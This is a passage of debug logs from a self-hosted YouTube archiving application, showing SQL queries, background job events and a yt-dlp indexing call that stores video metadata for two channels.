s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:22:10.175 [debug] QUERY OK source="media_items" db=0.2ms idle=2.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:53:10Z], 1] 19:22:10.176 [debug] QUERY OK source="media_items" db=0.5ms idle=2.4ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi.", "70b7f7ac-0626-43cb-9eef-e1070b5083ad", "05-_ewx1Im8", 180, false, "https://www.youtube.com/shorts/05-_ewx1Im8", 7, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi..mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:53:10Z], ~U[2026-08-20 02:22:10Z], ~U[2026-08-20 02:22:10Z], "", "Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi.", "05-_ewx1Im8", 180, false, "https://www.youtube.com/shorts/05-_ewx1Im8", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi..mp4", true, 1, ~U[2025-06-05 18:53:10Z]] 19:22:10.177 [debug] QUERY OK source="sources" db=0.2ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:22:10.177 [debug] QUERY OK source="media_items" db=0.1ms idle=2.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:37:57Z], 1] 19:22:10.178 [debug] QUERY OK source="media_items" db=0.5ms idle=2.3ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.3", "b2a3641b-4494-4e98-8c88-7c0e049882b0", "tNwYciwExDA", 180, false, "https://www.youtube.com/shorts/tNwYciwExDA", 8, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.3.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:37:57Z], ~U[2026-08-20 02:22:10Z], ~U[2026-08-20 02:22:10Z], "", "Demons. Pt.3", "tNwYciwExDA", 180, false, "https://www.youtube.com/shorts/tNwYciwExDA", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.3.mp4", true, 1, ~U[2025-06-05 18:37:57Z]] 19:22:10.178 [debug] QUERY OK source="sources" db=0.2ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:22:10.179 [debug] QUERY OK source="media_items" db=0.1ms idle=2.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:26:06Z], 1] 19:22:10.180 [debug] QUERY OK source="media_items" db=0.5ms idle=2.2ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.2", "4f5cd8a8-cb7a-44f0-9f2b-e9c5d2e8e761", "OUprsxG35FQ", 180, false, "https://www.youtube.com/shorts/OUprsxG35FQ", 9, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.2.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:26:06Z], ~U[2026-08-20 02:22:10Z], ~U[2026-08-20 02:22:10Z], "", "Demons. Pt.2", "OUprsxG35FQ", 180, false, "https://www.youtube.com/shorts/OUprsxG35FQ", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.2.mp4", true, 1, ~U[2025-06-05 18:26:06Z]] 19:22:10.180 [debug] QUERY OK source="sources" db=0.2ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:22:10.180 [debug] QUERY OK source="media_items" db=0.2ms idle=2.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:17:34Z], 1] 19:22:10.182 [debug] QUERY OK source="media_items" db=0.7ms idle=2.3ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demonology, Luci, Say-Tan, crystals, food, prayer, Holy Spirit Revealed. Pt.1", "a23ab05e-9336-44fb-a2a1-56659568871b", "rv8UxAckc6M", 180, false, "https://www.youtube.com/shorts/rv8UxAckc6M", 10, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demonology, Luci, Say-Tan, crystals, food, prayer, Holy Spirit Revealed. Pt.1.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:17:34Z], ~U[2026-08-20 02:22:10Z], ~U[2026-08-20 02:22:10Z], "", "Demonology, Luci, Say-Tan, crystals, food, prayer, Holy Spirit Revealed. Pt.1", "rv8UxAckc6M", 180, false, "https://www.youtube.com/shorts/rv8UxAckc6M", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demonology, Luci, Say-Tan, crystals, food, prayer, Holy Spirit Revealed. Pt.1.mp4", true, 1, ~U[2025-06-05 18:17:34Z]] 19:22:10.182 [debug] QUERY OK source="sources" db=0.1ms idle=3.0ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-08-20 02:22:10Z], ~U[2026-08-20 02:22:10Z], 1] 19:22:10.183 [debug] QUERY OK source="media_items" db=0.3ms idle=2.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 19:22:10.183 [debug] QUERY OK source="media_items" db=0.2ms idle=2.7ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 19:22:10.183 [debug] QUERY OK source="media_items" db=0.1ms idle=2.8ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 19:22:10.184 [debug] QUERY OK source="tasks" db=0.1ms idle=1.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [17082, 1, ~U[2026-08-20 02:22:10Z], ~U[2026-08-20 02:22:10Z]] 19:22:10.185 [info] {"args":{"id":1},"id":17077,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":13891083,"event":"job:stop","queue_time":92008,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 19:22:17.780 [info] {"source":"oban","duration":1154,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:47.782 [info] {"source":"oban","duration":1249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:00.180 [info] {"source":"oban","duration":153,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:23:17.784 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:47.786 [info] {"source":"oban","duration":1197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:00.181 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:24:17.788 [info] {"source":"oban","duration":1253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:47.790 [info] {"source":"oban","duration":1366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:00.182 [info] {"source":"oban","duration":196,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:25:17.792 [info] {"source":"oban","duration":967,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:47.794 [info] {"source":"oban","duration":1072,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:00.183 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:26:17.796 [info] {"source":"oban","duration":1158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:47.798 [info] {"source":"oban","duration":1194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:00.184 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:27:17.800 [info] {"source":"oban","duration":1045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:47.802 [info] {"source":"oban","duration":1232,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:00.185 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:28:17.804 [info] {"source":"oban","duration":1084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:47.806 [info] {"source":"oban","duration":1051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:00.186 [info] {"source":"oban","duration":281,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:29:17.808 [info] {"source":"oban","duration":1109,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:47.810 [info] {"source":"oban","duration":918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:50.937 [info] {"args":{"id":3},"id":17078,"meta":{},"system_time":1787192990937284926,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 19:29:50.937 [debug] QUERY OK source="sources" db=0.2ms idle=1155.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:29:50.938 [debug] QUERY OK source="settings" db=0.2ms idle=1155.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:29:50.938 [debug] QUERY OK source="media_items" db=0.3ms idle=1009.5ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 19:29:50.939 [debug] QUERY OK source="media_items" db=0.1ms idle=8.6ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 19:29:50.939 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:29:50.939 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:29:50.939 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:29:50.946 [debug] QUERY OK source="media_items" db=0.7ms idle=6.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [3] 19:29:50.949 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 19:29:50.949 [debug] Current batch of media processed. Will check again in 1000ms 19:29:50.949 [debug] QUERY OK source="settings" db=0.1ms idle=10.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:29:50.949 [debug] QUERY OK source="settings" db=0.1ms idle=10.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:29:50.949 [debug] QUERY OK source="settings" db=0.0ms idle=9.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:29:50.950 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@mikeokay --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Mike Okay/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/a0/01/a001d4bea15568ad01b767e4190aac7b3e5a39dfb10266732166aec728f400ee.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/18/f3/18f383a66769b2b5bed8c7855a7fbd1f93e1de69bc694372badbea21f3e0be05.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:29:51.950 [debug] Current batch of media processed. Will check again in 1000ms 19:29:52.951 [debug] Current batch of media processed. Will check again in 1000ms 19:29:53.952 [debug] Current batch of media processed. Will check again in 1000ms 19:29:54.953 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Please check out Honglins channel https://www.youtube.com/@UC9cvxZKhyTPyrbfkRADh55g \n\nFor centuries, China's rivers have been vital to its survival. People from villages across the country used them to travel to the cities and sell their goods and wares. These rivers were once filled with thousands of boats carrying passengers in every direction. But today, China's road and highway network has become so vast and efficient that those boats became useless and went extinct.\n\nExcept one.\n\nWe found the last boat still operating for traders on the Yangtze River. But how is it surviving? Live streaming. The crew live stream the entire journey. Every second of it. And over 20,000 people tune in to watch. Many of them donate money. Enough that the boat runs for free.\n\nI wanted to document this boat. To find out whether this is truly a beautiful human story. Or a dystopian exploitation of the working class.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\nhttps://www.youtube.com/watch?v=k8tdg6v0FQo\n\nhttps://www.youtube.com/watch?v=EIlIbE9HuB4&t=378s\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #livestream #travel", "duration" => 2174, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e073100 - China's Working Class Is Live-Streaming To Survive.mp4", "id" => "qYWhjW08-pc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=qYWhjW08-pc", "playlist_index" => 1, "timestamp" => 1785508965, "title" => "China's Working Class Is Live-Streaming To Survive", "upload_date" => "20260731"} 19:29:54.954 [debug] QUERY OK source="sources" db=0.3ms idle=171.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 19:29:54.954 [debug] QUERY OK source="sources" db=0.1ms idle=171.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:29:54.955 [debug] QUERY OK source="media_items" db=0.2ms idle=172.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-31 14:42:45Z], 3] 19:29:54.956 [debug] QUERY OK source="media_items" db=1.0ms idle=172.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Please check out Honglins channel https://www.youtube.com/@UC9cvxZKhyTPyrbfkRADh55g \n\nFor centuries, China's rivers have been vital to its survival. People from villages across the country used them to travel to the cities and sell their goods and wares. These rivers were once filled with thousands of boats carrying passengers in every direction. But today, China's road and highway network has become so vast and efficient that those boats became useless and went extinct.\n\nExcept one.\n\nWe found the last boat still operating for traders on the Yangtze River. But how is it surviving? Live streaming. The crew live stream the entire journey. Every second of it. And over 20,000 people tune in to watch. Many of them donate money. Enough that the boat runs for free.\n\nI wanted to document this boat. To find out whether this is truly a beautiful human story. Or a dystopian exploitation of the working class.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\nhttps://www.youtube.com/watch?v=k8tdg6v0FQo\n\nhttps://www.youtube.com/watch?v=EIlIbE9HuB4&t=378s\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #livestream #travel", "China's Working Class Is Live-Streaming To Survive", "ff423033-c717-4f1d-8615-ad4a703c6af2", "qYWhjW08-pc", 2174, false, "https://www.youtube.com/watch?v=qYWhjW08-pc", 1, "/downloads/shows/Mike Okay/Season 2026/s2026e073100 - China's Working Class Is Live-Streaming To Survive.mp4", false, false, false, 3, [], 98, ~U[2026-07-31 14:42:45Z], ~U[2026-08-20 02:29:54Z], ~U[2026-08-20 02:29:54Z], "Please check out Honglins channel https://www.youtube.com/@UC9cvxZKhyTPyrbfkRADh55g \n\nFor centuries, China's rivers have been vital to its survival. People from villages across the country used them to travel to the cities and sell their goods and wares. These rivers were once filled with thousands of boats carrying passengers in every direction. But today, China's road and highway network has become so vast and efficient that those boats became useless and went extinct.\n\nExcept one.\n\nWe found the last boat still operating for traders on the Yangtze River. But how is it surviving? Live streaming. The crew live stream the entire journey. Every second of it. And over 20,000 people tune in to watch. Many of them donate money. Enough that the boat runs for free.\n\nI wanted to document this boat. To find out whether this is truly a beautiful human story. Or a dystopian exploitation of the working class.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\nhttps://www.youtube.com/watch?v=k8tdg6v0FQo\n\nhttps://www.youtube.com/watch?v=EIlIbE9HuB4&t=378s\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #livestream #travel", "China's Working Class Is Live-Streaming To Survive", "qYWhjW08-pc", 2174, false, "https://www.youtube.com/watch?v=qYWhjW08-pc", "/downloads/shows/Mike Okay/Season 2026/s2026e073100 - China's Working Class Is Live-Streaming To Survive.mp4", false, 3, ~U[2026-07-31 14:42:45Z]] 19:29:54.957 [debug] QUERY 